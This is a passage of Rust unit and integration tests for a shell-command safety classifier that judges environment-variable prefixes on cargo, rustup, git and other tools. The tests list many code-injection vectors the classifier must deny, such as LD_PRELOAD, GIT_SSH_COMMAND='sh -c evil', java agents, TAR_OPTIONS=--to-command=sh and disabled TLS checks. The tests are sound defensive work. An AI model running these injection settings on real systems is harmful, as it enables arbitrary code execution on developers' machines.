                let env_form = format!("{name}={quoted} {base}");
                let by_flag = crate::is_safe_command(&flag_form);
                let by_env = crate::is_safe_command(&env_form);
                if by_flag != by_env {
                    failures.push(format!("{name}: `{flag_form}` -> {by_flag} but `{env_form}` -> {by_env}"));
                }
                verdicts.push(by_flag);
            }
            if super::shape_of(name) == Some(super::Shape::Opaque) {
                if !crate::is_safe_command(base) || !verdicts.iter().all(|v| !*v) {
                    failures.push(format!("{name}: opaque twin must allow `{base}` and refuse every non-empty value"));
                }
            } else if verdicts.iter().all(|v| *v) || verdicts.iter().all(|v| !*v) {
                failures.push(format!(
                    "{name}: the pair never discriminates (every value classifies the same), so \
                     agreement between the spellings proves nothing"
                ));
            }
        }
        assert!(failures.is_empty(), "env/flag twin mismatches:\n  {}", failures.join("\n  "));
    }

    #[test]
    fn a_rustup_toolchain_is_a_name_never_a_path() {
        for base in ["cargo fmt --check", "cargo build", "rustc --version", "cargo clippy"] {
            for value in ["stable", "nightly", "nightly-2026-10-01", "1.97.1", "stable-aarch64-apple-darwin", "my_toolchain"] {
                let cmd = format!("RUSTUP_TOOLCHAIN={value} {base}");
                assert_eq!(crate::is_safe_command(&cmd), crate::is_safe_command(base), "{cmd}");
            }
            for value in
                ["/tmp/evil", "./evil", "evil/", "../evil", "~/evil", "a/b", "a\\\\b", ".", "..", ".hidden", "-x", "$HOME", "'a b'"]
            {
                let cmd = format!("RUSTUP_TOOLCHAIN={value} {base}");
                assert!(!crate::is_safe_command(&cmd), "{cmd}");
                let exported = format!("export RUSTUP_TOOLCHAIN={value}; {base}");
                assert!(!crate::is_safe_command(&exported), "{exported}");
                let via_env = format!("env RUSTUP_TOOLCHAIN={value} {base}");
                assert!(!crate::is_safe_command(&via_env), "{via_env}");
                let run = format!("rustup run {value} {base}");
                assert!(!crate::is_safe_command(&run), "{run}");
            }
        }
    }

    #[test]
    fn every_rustup_toolchain_spelling_takes_a_name_and_refuses_a_path() {
        let spellings = [
            "RUSTUP_TOOLCHAIN={v} cargo build",
            "env RUSTUP_TOOLCHAIN={v} cargo build",
            "cargo +{v} build",
            "rustup run {v} cargo build",
            "rustup doc --toolchain {v} --std",
            "rustup doc --toolchain={v} --std",
            "rustup component list --toolchain {v}",
            "rustup target list --toolchain {v}",
            "rustup target add --toolchain {v} wasm32-unknown-unknown",
            "rustup target remove --toolchain={v} wasm32-unknown-unknown",
            "rustup toolchain list --toolchain {v}",
            "rustup which --toolchain {v} cargo",
        ];
        for spelling in spellings {
            for name in ["stable", "nightly-2026-10-01", "1.97.1"] {
                let cmd = spelling.replace("{v}", name);
                assert!(crate::is_safe_command(&cmd), "{cmd}");
            }
            for path in ["/tmp/evil", "./evil", "~/evil", "../evil", "\"/tmp/evil\"", "stable-x/../../tmp/evil", "-x"] {
                let cmd = spelling.replace("{v}", path);
                assert!(!crate::is_safe_command(&cmd), "{cmd}");
            }
        }
    }

    #[test]
    fn a_rustup_download_location_is_never_inert() {
        for name in ["RUSTUP_DIST_SERVER", "RUSTUP_DIST_ROOT", "RUSTUP_UPDATE_ROOT"] {
            for base in
                ["cargo +nightly-2099-01-01 build", "RUSTUP_TOOLCHAIN=nightly cargo build", "rustup target add wasm32-unknown-unknown"]
            {
                let cmd = format!("{name}=http://mirror.example {base}");
                assert!(!crate::is_safe_command(&cmd), "{cmd}");
                let exported = format!("export {name}=https://static.rust-lang.org; {base}");
                assert!(!crate::is_safe_command(&exported), "{exported}");
            }
        }
    }

    #[test]
    fn a_rustup_proxy_cannot_be_told_to_act_as_rustup() {
        for base in ["cargo run stable /tmp/evil", "cargo run /tmp/evil cargo", "cargo build", "rustc --version", "cargo fmt --check"] {
            for value in ["rustup", "cargo", "rustc"] {
                for spelling in [
                    format!("RUSTUP_FORCE_ARG0={value} {base}"),
                    format!("export RUSTUP_FORCE_ARG0={value}; {base}"),
                    format!("env RUSTUP_FORCE_ARG0={value} {base}"),
                    format!("declare -x RUSTUP_FORCE_ARG0={value}; {base}"),
                ] {
                    assert!(!crate::is_safe_command(&spelling), "{spelling}");
                }
            }
        }
        for value in ["/tmp/settings.toml", "~/settings.toml", "../other/settings.toml"] {
            for base in ["cargo build", "rustc --version"] {
                let cmd = format!("RUSTUP_OVERRIDE_UNIX_FALLBACK_SETTINGS={value} {base}");
                assert!(!crate::is_safe_command(&cmd), "{cmd}");
                let exported = format!("export RUSTUP_OVERRIDE_UNIX_FALLBACK_SETTINGS={value}; {base}");
                assert!(!crate::is_safe_command(&exported), "{exported}");
            }
        }
    }

    #[test]
    fn cargos_nightly_profile_unstable_and_host_settings_are_judged() {
        let base = "cargo +nightly build -Zprofile-rustflags -Zcodegen-backend -Zhost-config -Ztarget-applies-to-host";
        assert!(crate::is_safe_command(base), "{base}");
        let segments = ["DEV", "RELEASE", "my_profile", "DEV_BUILD_OVERRIDE", "DEV_PACKAGE_serde", "Dev_Package_Foo_Bar"];
        let mut refused: Vec<String> = Vec::new();
        let mut allowed: Vec<String> = Vec::new();
        for seg in segments {
            refused.push(format!("CARGO_PROFILE_{seg}_RUSTFLAGS='-Clinker=/tmp/evil'"));
            refused.push(format!("CARGO_PROFILE_{seg}_RUSTFLAGS='-C linker=/tmp/evil'"));
            refused.push(format!("CARGO_PROFILE_{seg}_RUSTFLAGS='-Zcodegen-backend=/tmp/evil.dylib'"));
            refused.push(format!("CARGO_PROFILE_{seg}_CODEGEN_BACKEND=/tmp/evil.dylib"));
            refused.push(format!("CARGO_PROFILE_{seg}_CODEGEN_BACKEND=cranelift"));
            allowed.push(format!("CARGO_PROFILE_{seg}_RUSTFLAGS='-Ctarget-cpu=native -Dwarnings'"));
            allowed.push(format!("CARGO_PROFILE_{seg}_OPT_LEVEL=3"));
        }
        for unstable in ["BUILD_STD", "CONFIG_INCLUDE", "HOST_CONFIG", "build_std", "Codegen_Backend"] {
            refused.push(format!("CARGO_UNSTABLE_{unstable}=true"));
        }
        for triple in ["", "AARCH64_APPLE_DARWIN_", "x86_64_unknown_linux_gnu_", "Aarch64_Apple_Darwin_"] {
            refused.push(format!("CARGO_HOST_{triple}LINKER=/tmp/evil"));
            refused.push(format!("CARGO_HOST_{triple}RUNNER=/tmp/evil"));
            refused.push(format!("CARGO_HOST_{triple}RUNNER='sh -c evil'"));
            refused.push(format!("CARGO_HOST_{triple}RUSTFLAGS='-Clinker=/tmp/evil'"));
            refused.push(format!("CARGO_HOST_{triple}RUSTDOCFLAGS='--test-runtool /tmp/evil'"));
            allowed.push(format!("CARGO_HOST_{triple}RUSTFLAGS='-Ctarget-cpu=native'"));
            allowed.push(format!("CARGO_HOST_{triple}RUSTDOCFLAGS=-Dwarnings"));
        }
        for assignment in refused {
            for cmd in [format!("{assignment} {base}"), format!("export {assignment}; {base}"), format!("env {assignment} {base}")] {
                assert!(!crate::is_safe_command(&cmd), "{cmd}");
            }
        }
        for assignment in allowed {
            let cmd = format!("{assignment} {base}");
            assert!(crate::is_safe_command(&cmd), "{cmd}");
        }
    }

    #[test]
    fn cargos_browser_build_dir_proxy_and_ca_bundle_are_judged() {
        let cases: [(&str, &str, &[&str], &[&str]); 4] = [
            ("CARGO_DOC_BROWSER", "cargo doc --open", &["/tmp/evil", "'sh -c evil'", "./evil"], &["cat"]),
            ("CARGO_BUILD_BUILD_DIR", "cargo build", &["~/x", "/etc/x", "../sibling"], &["build", "./target/build"]),
            ("CARGO_HTTP_PROXY", "cargo build", &["http://evil.example:8080", "socks5://127.0.0.1:1080"], &[]),
            ("CARGO_HTTP_CAINFO", "cargo build", &["/tmp/ca.pem", "./ca.pem"], &[]),
        ];
        for (name, base, refused, allowed) in cases {
            assert!(crate::is_safe_command(base), "{base}");
            for value in refused {
                for cmd in
                    [format!("{name}={value} {base}"), format!("export {name}={value}; {base}"), format!("env {name}={value} {base}")]
                {
                    assert!(!crate::is_safe_command(&cmd), "{cmd}");
                }
            }
            for value in allowed {
                let cmd = format!("{name}={value} {base}");
                assert!(crate::is_safe_command(&cmd), "{cmd}");
            }
        }
    }

    #[test]
    fn the_build_crates_target_spellings_are_judged_in_every_form() {
        let cases: [(&str, &[&str], &[&str]); 20] = [
            ("CC_aarch64_apple_darwin", &["/tmp/evil", "~/evil"], &["clang", "./tools/cc"]),
            ("HOST_CC", &["/tmp/evil"], &["clang"]),
            ("TARGET_CC", &["/tmp/evil"], &["clang"]),
            ("CXX_aarch64_apple_darwin", &["/tmp/evil"], &["clang++"]),
            ("TARGET_CXX", &["/tmp/evil"], &["clang++"]),
            ("AR_aarch64_apple_darwin", &["/tmp/evil"], &["llvm-ar"]),
            ("TARGET_AR", &["/tmp/evil"], &["llvm-ar"]),
            ("RANLIB", &["/tmp/evil"], &["llvm-ranlib"]),
            ("RANLIB_x86_64_unknown_linux_gnu", &["/tmp/evil"], &["llvm-ranlib"]),
            ("CFLAGS_aarch64_apple_darwin", &["-fplugin=/tmp/evil.dylib", "'-B /tmp/evil'"], &["-O2", "'-O2 -Wall'"]),
            ("TARGET_CFLAGS", &["-fplugin=/tmp/evil.dylib"], &["-O2"]),
            ("HOST_CXXFLAGS", &["-fplugin=/tmp/evil.dylib"], &["-O2"]),
            ("ARFLAGS", &["'--plugin /tmp/evil.so'", "@/tmp/flags"], &["-D", "'-D -s'"]),
            ("PKG_CONFIG", &["/tmp/evil"], &["pkg-config"]),
            ("PKG_CONFIG_aarch64_apple_darwin", &["/tmp/evil"], &["pkg-config"]),
            ("CMAKE", &["/tmp/evil"], &["cmake"]),
            ("CMAKE_TOOLCHAIN_FILE", &["/tmp/evil.cmake"], &["./cmake/toolchain.cmake"]),
            ("PROTOC", &["/tmp/evil"], &["protoc"]),
            ("LIBCLANG_PATH", &["/tmp/evil"], &["./vendor/llvm/lib"]),
            ("CROSS_COMPILE", &["/tmp/evil/"], &["aarch64-linux-gnu-"]),
        ];
        let base = "cargo build";
        assert!(crate::is_safe_command(base));
        for (name, refused, allowed) in cases {
            for value in refused {
                for cmd in
                    [format!("{name}={value} {base}"), format!("export {name}={value}; {base}"), format!("env {name}={value} {base}")]
                {
                    assert!(!crate::is_safe_command(&cmd), "{cmd}");
                }
            }
            for value in allowed {
                for cmd in
                    [format!("{name}={value} {base}"), format!("export {name}={value}; {base}"), format!("env {name}={value} {base}")]
                {
                    assert!(crate::is_safe_command(&cmd), "{cmd}");
                }
            }
        }
        for cmd in
            ["env CC_aarch64-apple-darwin=/tmp/evil cargo build", "env CFLAGS_aarch64-apple-darwin=-fplugin=/tmp/evil.dylib cargo build"]
        {
            assert!(!crate::is_safe_command(cmd), "{cmd}");
        }
        assert!(crate::is_safe_command("env CC_aarch64-apple-darwin=clang cargo build"));
    }

    /// `cc`, clang-sys, and prost-build also read these per target. The plain name was already
    /// judged; `NAME_<target>` was not, so a foreign linker or clang was inert.
    #[test]
    fn a_per_target_build_variable_is_judged_like_its_plain_name() {
        let base = "cargo build";
        assert!(crate::is_safe_command(base));
        assert!(crate::is_safe_command("cargo test"));
        let refused = [
            r#"LDFLAGS_x86_64_unknown_linux_gnu="-fuse-ld=/tmp/evil" cargo build"#,
            r#"LDFLAGS_x86_64_unknown_linux_gnu=-fuse-ld=/tmp/evil cargo build"#,
            r#"LDFLAGS_x86_64-unknown-linux-gnu="-fuse-ld=/tmp/evil" cargo build"#,
            r#"export LDFLAGS_x86_64_unknown_linux_gnu="-fuse-ld=/tmp/evil"; cargo build"#,
            r#"env LDFLAGS_x86_64_unknown_linux_gnu="-fuse-ld=/tmp/evil" cargo build"#,
            "HOST_LDFLAGS='-fuse-ld=/tmp/evil' cargo build",
            "TARGET_LDFLAGS='-fuse-ld=/tmp/evil' cargo build",
            "CPPFLAGS_x86_64_unknown_linux_gnu=-I/tmp/evil cargo build",
            "CPPFLAGS_x86_64_unknown_linux_gnu='-I /tmp/evil' cargo build",
            "CPPFLAGS_x86_64-unknown-linux-gnu=-I/tmp/evil cargo build",
            "export CPPFLAGS_x86_64_unknown_linux_gnu=-I/tmp/evil; cargo build",
            "env CPPFLAGS_x86_64_unknown_linux_gnu=-I/tmp/evil cargo build",
            "HOST_CPPFLAGS=-I/tmp/evil cargo build",
            "LD_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "LD_x86_64-unknown-linux-gnu=/tmp/evil cargo build",
            "export LD_x86_64_unknown_linux_gnu=/tmp/evil; cargo build",
            "env LD_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "HOST_LD=/tmp/evil cargo build",
            "TARGET_LD=/tmp/evil cargo build",
            "CLANG_PATH_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "CLANG_PATH_x86_64-unknown-linux-gnu=/tmp/evil cargo build",
            "CLANG_PATH_x86_64_unknown_linux_gnu=/TMP/evil cargo build",
            "CLANG_PATH_x86_64_unknown_linux_gnu=/private/tmp/evil cargo build",
            "CLANG_PATH_x86_64_unknown_linux_gnu=/System/Volumes/Data/tmp/evil cargo build",
            "CLANG_PATH_x86_64_unknown_linux_gnu=/private/var/folders/xx/yy/T/evil cargo build",
            "export CLANG_PATH_x86_64_unknown_linux_gnu=/tmp/evil; cargo build",
            "env CLANG_PATH_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "HOST_CLANG_PATH=/tmp/evil cargo build",
            "TARGET_CLANG_PATH=/tmp/evil cargo build",
            "LIBCLANG_PATH_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "export LIBCLANG_PATH_x86_64_unknown_linux_gnu=/tmp/evil; cargo build",
            "env LIBCLANG_PATH_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "HOST_LIBCLANG_PATH=/tmp/evil cargo build",
            "LLVM_CONFIG_PATH_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "export LLVM_CONFIG_PATH_x86_64_unknown_linux_gnu=/tmp/evil; cargo build",
            "env LLVM_CONFIG_PATH_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "TARGET_LLVM_CONFIG_PATH=/tmp/evil cargo build",
            "PROTOC_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "PROTOC_x86_64-unknown-linux-gnu=/tmp/evil cargo build",
            "export PROTOC_x86_64_unknown_linux_gnu=/tmp/evil; cargo build",
            "env PROTOC_x86_64_unknown_linux_gnu=/tmp/evil cargo build",
            "HOST_PROTOC=/tmp/evil cargo build",
            "TARGET_PROTOC=/tmp/evil cargo build",
        ];
        for cmd in refused {
            assert!(!crate::is_safe_command(cmd), "{cmd}");
        }
        for cmd in [
            "cargo build", "cargo test", "LDFLAGS=-s cargo build", "LDFLAGS='-L ./lib' cargo build", "HOST_LDFLAGS=-s cargo build",
            "CPPFLAGS=-DDEBUG cargo build", "CPPFLAGS='-I ./include' cargo build", "LD=ld cargo build", "HOST_LD=ld cargo build",
            "CLANG_PATH=clang cargo build", "TARGET_CLANG_PATH=./clang cargo build", "LIBCLANG_PATH=./vendor/llvm/lib cargo build",
            "LLVM_CONFIG_PATH=llvm-config cargo build", "PROTOC=protoc cargo build", "HOST_PROTOC=protoc cargo build", "rustup show",
            "npm test", "pytest",
        ] {
            assert!(crate::is_safe_command(cmd), "{cmd}");
        }
    }

    #[test]
    fn settings_that_lower_trust_in_downloads_are_refused_in_every_form() {
        let cases: [(&str, &[&str]); 9] = [
            ("GIT_SSL_NO_VERIFY", &["1", "true", "0", "''"]),
            ("GIT_SSL_CAINFO", &["/tmp/ca.pem", "./ca.pem"]),
            ("GIT_SSL_CAPATH", &["/tmp/certs"]),
            ("GIT_SSL_VERSION", &["tlsv1.0"]),
            ("GIT_SSL_CIPHER_LIST", &["NULL"]),
            ("CARGO_HTTP_SSL_VERSION", &["tlsv1"]),
            ("CARGO_HTTP_SSL_VERSION_MIN", &["tlsv1"]),
            ("CARGO_HTTP_SSL_VERSION_MAX", &["tlsv1"]),
            ("CARGO_HTTP_CHECK_REVOKE", &["false"]),
        ];
        for base in ["cargo build", "CARGO_NET_GIT_FETCH_WITH_CLI=true cargo build", "git fetch"] {
            assert!(crate::is_safe_command(base), "{base}");
            for (name, values) in cases {
                for value in values {
                    for cmd in
                        [format!("{name}={value} {base}"), format!("export {name}={value}; {base}"), format!("env {name}={value} {base}")]
                    {
                        assert!(!crate::is_safe_command(&cmd), "{cmd}");
                    }
                }
            }
        }
        for cmd in ["GIT_SSL_NO_VERIFY= git fetch", "export GIT_SSL_NO_VERIFY=; git fetch", "env GIT_SSL_NO_VERIFY= git fetch"] {
            assert!(!crate::is_safe_command(cmd), "{cmd}");
        }
        assert!(crate::is_safe_command("GIT_PAGER= git log"));
    }

    #[test]
    fn cargos_remaining_program_path_and_url_settings_are_judged() {
        let cases: [(&str, &str, &[&str], &[&str]); 9] = [
            ("CARGO_HTTP_PROXY_CAINFO", "cargo build", &["/tmp/ca.pem", "./ca.pem"], &[]),
            ("CARGO_CREDENTIAL_ALIAS_MINE", "cargo build", &["/tmp/evil", "'sh -c evil'"], &[]),
            ("CARGO_CREDENTIAL_ALIAS_my_alias", "cargo build", &["/tmp/evil"], &[]),
            (
                "CARGO_RESOLVER_LOCKFILE_PATH",
                "cargo build",
                &["/tmp/x/Cargo.lock", "~/x/Cargo.lock", "../other/Cargo.lock", "./Cargo.lock"],
                &[],
            ),
            ("CARGO", "cargo nextest run", &["/tmp/evil", "~/evil", "../other/cargo"], &["./tools/cargo"]),
            (
                "CARGO_BUILD_TARGET",
                "cargo +nightly build -Zbuild-std",
                &["/tmp/evil.json", "./specs/evil.json", "../evil.json", "'[\"/tmp/evil.json\"]'", "'a /tmp/evil.json'"],
                &["x86_64-unknown-linux-gnu", "wasm32-unknown-unknown", "host-tuple", "my-target.json"],
            ),
            ("RUST_TARGET_PATH", "cargo +nightly build -Zbuild-std", &["/tmp", "./specs:/tmp", "~/specs"], &["./specs"]),
            ("CARGO_BUILD_ARTIFACT_DIR", "cargo build", &["~/bin", "/usr/local/bin", "../sibling"], &["out"]),
            ("CARGO_BUILD_OUT_DIR", "cargo build", &["~/bin", "/usr/local/bin"], &["out"]),
        ];
        for (name, base, refused, allowed) in cases {
            assert!(crate::is_safe_command(base), "{base}");
            for value in refused {
                for cmd in
                    [format!("{name}={value} {base}"), format!("export {name}={value}; {base}"), format!("env {name}={value} {base}")]
                {
                    assert!(!crate::is_safe_command(&cmd), "{cmd}");
                }
            }
            for value in allowed {
                let cmd = format!("{name}={value} {base}");
                assert!(crate::is_safe_command(&cmd), "{cmd}");
            }
        }
    }

    #[test]
    fn a_foreign_target_specification_is_refused_in_the_flag_and_the_variable() {
        for sub in ["build", "check", "test", "clippy", "doc", "bench", "run"] {
            let base = format!("cargo +nightly {sub} -Zbuild-std");
            assert!(crate::is_safe_command(&base), "{base}");
            for spec in ["/tmp/evil.json", "~/evil.json", "/etc/evil.json"] {
                for cmd in
                    [format!("{base} --target {spec}"), format!("{base} --target={spec}"), format!("CARGO_BUILD_TARGET={spec} {base}")]
                {
                    assert!(!crate::is_safe_command(&cmd), "{cmd}");
                }
            }
            for triple in ["x86_64-unknown-linux-gnu", "wasm32-unknown-unknown", "aarch64-apple-darwin", "host-tuple"] {
                for cmd in [
                    format!("{base} --target {triple}"),
                    format!("{base} --target={triple}"),
                    format!("CARGO_BUILD_TARGET={triple} {base}"),
                ] {
                    assert!(crate::is_safe_command(&cmd), "{cmd}");
                }
            }
        }
    }

    #[test]
    fn cargo_settings_that_swap_where_dependencies_come_from_are_judged() {
        for name in [
            "CARGO_SOURCE_CRATES_IO_REPLACE_WITH", "CARGO_SOURCE_VENDORED_DIRECTORY", "CARGO_SOURCE_MIRROR_REGISTRY",
            "CARGO_SOURCE_MIRROR_LOCAL_REGISTRY", "CARGO_SOURCE_MIRROR_GIT", "CARGO_PATCH_CRATES_IO_SERDE_PATH",
            "CARGO_PATCH_CRATES_IO_SERDE_GIT",
        ] {
            for base in ["cargo build", "cargo test", "cargo check"] {
                for cmd in [format!("{name}=/tmp/x {base}"), format!("export {name}=/tmp/x; {base}"), format!("env {name}=/tmp/x {base}")] {
                    assert!(!crate::is_safe_command(&cmd), "{cmd}");
                }
            }
        }
        assert!(crate::is_safe_command("CARGO_SOURCE_CRATES_IO_REPLACE_WITH= cargo build"));
    }

    #[test]
    fn cargo_config_twins_that_run_or_fetch_code_are_judged() {
        for cmd in [
            "CARGO_ALIAS_FMT='run --manifest-path /tmp/evil/Cargo.toml' cargo fmt --check",
            "CARGO_ALIAS_CLIPPY=build cargo clippy",
            "CARGO_TARGET_AARCH64_APPLE_DARWIN_RUSTFLAGS='-Clinker=/tmp/evil' cargo build",
            "CARGO_TARGET_X86_64_UNKNOWN_LINUX_GNU_RUSTFLAGS='-C linker=/tmp/evil' cargo build",
            "CARGO_TARGET_AARCH64_APPLE_DARWIN_RUSTDOCFLAGS='--test-runtool /tmp/evil' cargo test",
            "CARGO_REGISTRIES_MINE_INDEX=sparse+https://mirror.example/ cargo build",
            "CARGO_REGISTRIES_MINE_CREDENTIAL_PROVIDER=/tmp/evil cargo build",
            "CARGO_REGISTRY_GLOBAL_CREDENTIAL_PROVIDERS=/tmp/evil cargo build",
            "RUSTUP_TRACE_DIR=/etc/x cargo build",
        ] {
            assert!(!crate::is_safe_command(cmd), "{cmd}");
        }
        for cmd in [
            "CARGO_TARGET_AARCH64_APPLE_DARWIN_RUSTFLAGS='-Ctarget-cpu=native' cargo build",
            "CARGO_TARGET_AARCH64_APPLE_DARWIN_RUSTDOCFLAGS='-Dwarnings' cargo doc",
        ] {
            assert!(crate::is_safe_command(cmd), "{cmd}");
        }
    }

    proptest::proptest! {
        #[test]
        fn a_rustup_toolchain_with_a_path_separator_is_refused(
            head in "[a-z0-9._-]{0,6}", sep in "[/\\\\]", tail in "[a-z0-9._/-]{0,6}",
        ) {
            let value = format!("{head}{sep}{tail}");
            proptest::prop_assert_eq!(assignment_verdict("RUSTUP_TOOLCHAIN", &value), Verdict::Denied, "{}", value);
        }

        #[test]
        fn a_path_shaped_toolchain_after_rustup_run_is_refused(
            head in "[a-z0-9._-]{0,6}", sep in "[/\\\\~]", tail in "[a-z0-9._/-]{0,6}",
            inner in proptest::sample::select(vec!["cargo build", "cargo --version", "rustc --version", "cargo fmt --check"]),
            quoted in proptest::bool::ANY,
        ) {
            let value = format!("{head}{sep}{tail}");
            let word = if quoted || value.contains('\\') { format!("'{value}'") } else { value.clone() };
            let cmd = format!("rustup run {word} {inner}");
            proptest::prop_assert!(!crate::is_safe_command(&cmd), "{}", cmd);
            let flag = format!("rustup doc --toolchain={word} --std");
            proptest::prop_assert!(!crate::is_safe_command(&flag), "{}", flag);
        }
    }

    #[test]
    fn an_unlisted_name_is_inert() {
        assert!(shape_of("PROJECT").is_none());
        assert!(shape_of("NODE_ENV").is_none());
        assert!(shape_of("RUST_BACKTRACE").is_none());
        for n in ["PROJECT", "NODE_ENV", "RUST_BACKTRACE", "WRITE", "FOO"] {
            assert_eq!(assignment_verdict(n, "anything"), Verdict::Allowed(SafetyLevel::Inert));
        }
    }

    /// A variable whose name carries a variable segment — cargo's target triple, git's config
    /// index — is reachable only by pattern.
    #[test]
    fn a_name_glob_matches_the_variable_segment() {
        assert_eq!(shape_of("CARGO_TARGET_X86_64_APPLE_DARWIN_RUNNER"), Some(Shape::Command));
        assert_eq!(shape_of("CARGO_TARGET_AARCH64_UNKNOWN_LINUX_GNU_LINKER"), Some(Shape::Command));
        assert_eq!(shape_of("GIT_CONFIG_KEY_0"), Some(Shape::Opaque));
        assert_eq!(shape_of("GIT_CONFIG_VALUE_17"), Some(Shape::Opaque));
        // ...and does not over-reach onto neighbouring names.
        assert_eq!(shape_of("CARGO_TARGET_DIR"), Some(Shape::DataWrite));
        assert_eq!(shape_of("CARGO_TERM_COLOR"), None);
    }

    /// The prefix and suffix must not overlap to satisfy a pattern with nothing in the middle.
    #[test]
    fn a_glob_needs_a_real_middle_segment() {
        assert_eq!(shape_of("CARGO_TARGET__RUNNER"), Some(Shape::Command), "empty middle is still a match");
        assert_eq!(shape_of("CARGO_TARGET_RUNNER"), None, "prefix and suffix must not overlap");
    }

    #[test]
    fn an_empty_value_is_inert_even_for_a_listed_name() {
        for n in ["GIT_PAGER", "LD_PRELOAD", "GIT_DIR"] {
            assert_eq!(assignment_verdict(n, ""), Verdict::Allowed(SafetyLevel::Inert));
        }
    }

    fn target_spelled() -> Vec<String> {
        let parsed: Table = toml::from_str(include_str!("../envvars.toml")).expect("embedded envvars.toml must parse");
        let mut out: Vec<String> = parsed.env.into_iter().filter(|(_, e)| e.target_spellings).map(|(name, _)| name).collect();
        out.sort();
        out
    }

    #[test]
    fn every_name_the_build_crates_read_by_target_is_spelled_by_target() {
        let spelled = target_spelled();
        for name in [
            "CC", "CXX", "AR", "RANLIB", "NVCC", "CFLAGS", "CXXFLAGS", "ARFLAGS", "RANLIBFLAGS", "CPPFLAGS", "LDFLAGS", "LD", "PKG_CONFIG",
            "PKG_CONFIG_PATH", "PKG_CONFIG_LIBDIR", "PKG_CONFIG_SYSROOT_DIR", "CMAKE", "CMAKE_TOOLCHAIN_FILE", "CMAKE_PREFIX_PATH",
            "CLANG_PATH", "LIBCLANG_PATH", "LLVM_CONFIG_PATH", "PROTOC",
        ] {
            assert!(spelled.iter().any(|s| s == name), "{name} is read under target spellings but not marked target_spellings");
        }
    }

    #[test]
    fn every_target_spelling_carries_the_plain_names_rule() {
        let spelled = target_spelled();
        assert!(spelled.len() >= 16, "only {} entries carry target_spellings", spelled.len());
        for name in &spelled {
            let plain = rule_of(name).expect("a marked entry is in the table");
            for target in
                ["aarch64-apple-darwin", "x86_64-unknown-linux-gnu", "wasm32-wasip1", "thumbv7em-none-eabihf", "x86_64-pc-windows-msvc"]
            {
                let underscored = target.replace(['-', '.'], "_");
                for spelling in [format!("HOST_{name}"), format!("TARGET_{name}")] {
                    assert_eq!(rule_of(&spelling), Some(plain), "{spelling} is not judged as {name} is");
                }
                for spelling in [format!("{name}_{target}"), format!("{name}_{underscored}")] {
                    let got = rule_of(&spelling).unwrap_or_else(|| panic!("{spelling} has no rule"));
                    if name == "LD" {
                        // `LD_*` already owns this prefix and refuses every value. Replacing it
                        // with the linker rule would allow `LD_DEBUG=1`.
                        assert_eq!(got.shape, Shape::Opaque, "{spelling} left the loader catch-all");
                        assert_ne!(got, plain, "{spelling} took the linker rule");
                    } else {
                        assert_eq!(got, plain, "{spelling} is not judged as {name} is");
                    }
                }
            }
        }
    }

    #[test]
    fn overlapping_name_patterns_share_one_rule() {
        let globs = &TABLE.globs;
        for (i, (p1, s1, r1)) in globs.iter().enumerate() {
            for (p2, s2, r2) in &globs[i + 1..] {
                let prefixes_meet = p1.starts_with(p2.as_str()) || p2.starts_with(p1.as_str());
                let suffixes_meet = s1.ends_with(s2.as_str()) || s2.ends_with(s1.as_str());
                if prefixes_meet && suffixes_meet {
                    assert_eq!(r1, r2, "`{p1}*{s1}` and `{p2}*{s2}` can match one name with different rules");
                }
            }
        }
    }
}

/// End-to-end behaviour through `command_verdict`, which is what actually ships.
#[cfg(test)]
mod integration_tests {
    /// The vectors measured in `docs/design/env-prefix-classification.md`. Each was proved to
    /// execute on a real toolchain before being listed, so each must deny here.
    #[test]
    fn every_measured_injection_vector_denies() {
        for cmd in [
            "LD_PRELOAD=/tmp/evil.so ls",
            "LD_AUDIT=/tmp/evil.so ls",
            "DYLD_INSERT_LIBRARIES=/tmp/evil.dylib cat notes.txt",
            "BASH_ENV=/tmp/evil.sh bash -c ls",
            "PYTHONPATH=/tmp/inj python3 --version",
            "PHPRC=/tmp/evil/php.ini php --version",
            "PHP_INI_SCAN_DIR=/tmp/evil php --version",
            "RUSTC_WRAPPER=/tmp/evil cargo build",
            "CARGO_BUILD_RUSTC_WRAPPER=/tmp/evil cargo build",
            "DOTNET_STARTUP_HOOKS=/tmp/evil.dll dotnet --info",
            "GIT_SSH_COMMAND='sh -c evil' git status",
            "GIT_DIR=/tmp/evil git log",
            "PERL5LIB=/tmp/inj perl --version",
            "RUBYLIB=/tmp/inj ruby --version",
            // Probed on OpenJDK 26.0.2, go1.26.5, Lua 5.5.0, Julia 1.12.6 and R 4.6.1. Each of
            // these was watched writing a marker file before being listed here.
            "CLASSPATH=/tmp/evil java Run",
            "JAVA_TOOL_OPTIONS='-javaagent:/tmp/e.jar' java -version",
            "_JAVA_OPTIONS='-javaagent:/tmp/e.jar' java -version",
            "JDK_JAVA_OPTIONS='-javaagent:/tmp/e.jar' java -version",
            "JAVA_TOOL_OPTIONS='-XX:OnOutOfMemoryError=/tmp/e.sh' java -version",
            "JAVA_TOOL_OPTIONS='-XX:OnError=/tmp/e.sh' java -version",
            "GOFLAGS='-toolexec=/tmp/evil' go list ./...",
            "GOFLAGS='-overlay=/tmp/o.json' go list ./...",
            "GOFLAGS='-modfile=/tmp/alt.mod' go list ./...",
            "LUA_INIT='os.execute(\"id\")' ls",
            "LUA_INIT=@/tmp/init.lua ls",
            "JULIA_LOAD_PATH=/tmp/evil ls",
            "JULIA_DEPOT_PATH=/tmp/evil ls",
            "R_PROFILE_USER=/tmp/evil.R ls",
        ] {
            assert!(!crate::is_safe_command(cmd), "a measured injection vector was allowed: {cmd}");
        }
    }

    /// grep, tar and the Info-ZIP tools read an option string from the environment ahead of their
    /// own arguments, so a flag refused on the command line must not arrive that way.
    #[test]
    fn an_archive_or_search_tool_takes_no_options_from_the_environment() {
        for (cmd, bare) in [
            ("GREP_OPTIONS=-r grep key ~", "grep key notes.txt"),
            ("TAR_OPTIONS=--to-command=sh tar -tf a.tar", "tar -tf a.tar"),
            ("ZIPOPT=-TTsh zip -T o.zip f", "zip -T o.zip f"),
            ("ZIP=-TTsh zip -T o.zip f", "zip -T o.zip f"),
            ("UNZIP=-d/etc unzip -l a.zip", "unzip -l a.zip"),
